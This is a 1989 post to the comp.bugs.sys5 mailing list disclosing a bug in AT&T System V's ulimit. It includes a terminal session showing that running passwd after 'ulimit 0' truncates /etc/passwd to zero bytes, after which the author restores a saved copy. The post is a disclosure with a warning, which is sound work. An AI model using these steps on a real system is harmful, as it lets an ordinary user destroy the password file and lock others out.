ulimit

John Plocher plocher%sally at Sun.COM
Sat Apr 22 06:44:34 AEST 1989


In all this talk about ULIMIT don't forget that there is at least one known
bug in the AT&T SVr[23] implementation:

Kids, don't do this at home.

	login: guest
	password: xxxxx

	% su
	password: xxxxxxx
	# cp /etc/passwd /etc/passwd.old
	# exit
	% ulimit 0
	% passwd
	old password: xxxxx
	new password: yyyyy
	Please retype new password: yyyyy
	% ls -l /etc/passwd*
	-rw-r--r--  1 root            0 Apr  3 10:44 /etc/passwd
	-rw-r--r--  1 root          439 Apr  3 10:40 /etc/passwd.old
	% su
	password: xxxxxxx
	# cp /etc/passwd.old /etc/passwd

Note that the password file is now gone - aren't we glad we saved a copy? :-)

The vendors out there may have this fixed in their versions by now...

	-John Plocher



More information about the Comp.bugs.sys5 mailing list